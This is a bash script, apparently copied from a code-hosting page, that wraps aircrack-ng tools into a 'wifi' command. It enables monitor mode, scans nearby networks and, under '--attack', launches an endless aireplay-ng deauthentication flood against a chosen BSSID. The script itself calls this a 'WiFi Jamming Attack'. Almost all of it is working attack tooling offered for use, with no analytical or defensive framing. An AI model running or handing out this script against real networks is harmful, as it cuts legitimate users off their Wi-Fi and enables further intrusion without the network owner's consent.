Spaces:
No application file
No application file
| # Check for root privileges | |
| if [[ $EUID -ne 0 ]]; then | |
| echo "This script must be run as root" | |
| exit 1 | |
| fi | |
| # Interface Finder | |
| interface=$(iw dev | awk '$1=="Interface"{print $2}') | |
| # Function to start monitor mode | |
| start_monitor() { | |
| if iwconfig "$interface" | grep "Mode:Monitor" > /dev/null; then | |
| echo "Monitor mode is already enabled on $interface" | |
| else | |
| echo "Enabling monitor mode on $interface..." | |
| airmon-ng start "$interface" > /dev/null 2>&1 | |
| echo "Monitor mode enabled on $interface." | |
| fi | |
| } | |
| # Function to stop monitor mode | |
| stop_monitor() { | |
| if iwconfig "$interface" | grep "Mode:Managed" > /dev/null; then | |
| echo "Monitor mode is already disabled on $interface" | |
| else | |
| interface=$(iw dev | awk '$1=="Interface"{print $2}') | |
| echo "Disabling monitor mode on $interface..." | |
| airmon-ng stop "$interface" > /dev/null 2>&1 | |
| echo "Monitor mode disabled on $interface." | |
| fi | |
| } | |
| # Function to show WiFi networks using airodump-ng | |
| show_networks() { | |
| interface=$(iw dev | awk '$1=="Interface"{print $2}') | |
| echo "Scanning for WiFi networks on $interface..." | |
| airodump-ng "$interface" | |
| } | |
| show_indivisual_networks() { | |
| interface=$(iw dev | awk '$1=="Interface"{print $2}') | |
| echo "Scanning for WiFi network on $interface..." | |
| airodump-ng "$interface" --bssid "$1" --channel "$2" | |
| } | |
| perform_attack() { | |
| echo "Attack is going to start..." | |
| sleep 2 | |
| echo "To stop attack press Ctrl+c" | |
| aireplay-ng "$interface" -0 0 -a "$1" & | |
| # Define the loading animation | |
| animation="/-\|" | |
| index=0 | |
| # Check if aireplay-ng is still running | |
| while ps -p $! >/dev/null; do | |
| echo -ne "\r[ ${animation:index++%${#animation}:1} ] Running WiFi Jamming Attack..." | |
| done | |
| } | |
| # Check command-line arguments | |
| case "$1" in | |
| --monitor) | |
| case "$2" in | |
| start) | |
| start_monitor | |
| ;; | |
| stop) | |
| stop_monitor | |
| ;; | |
| *) | |
| echo "Unknown argument for -monitor: $2" | |
| exit 1 | |
| ;; | |
| esac | |
| ;; | |
| --status) | |
| show_networks | |
| ;; | |
| --bssid) | |
| case "$3" in | |
| --channel) | |
| show_indivisual_networks "$2" "$4" | |
| ;; | |
| esac | |
| ;; | |
| --attack) | |
| case "$2" in | |
| --bssid) | |
| perform_attack "$3" | |
| ;; | |
| *) | |
| echo "wifi --attack --bssid <bssid_name>" | |
| exit 1 | |
| ;; | |
| esac | |
| ;; | |
| *) | |
| echo "Usage: wifi --monitor start" | |
| echo " wifi --monitor stop" | |
| echo " wifi --status" | |
| echo " wifi --bssid <bssid_name> --channel <channel_number>" | |
| echo " wifi --attack --bssid <bssid_name>" | |
| exit 1 | |
| ;; | |
| esac | |
| # Print the new interface name if it's set | |
| if [ -n "$new_interface" ]; then | |
| echo "New interface name for monitor mode: $new_interface" | |
| fi |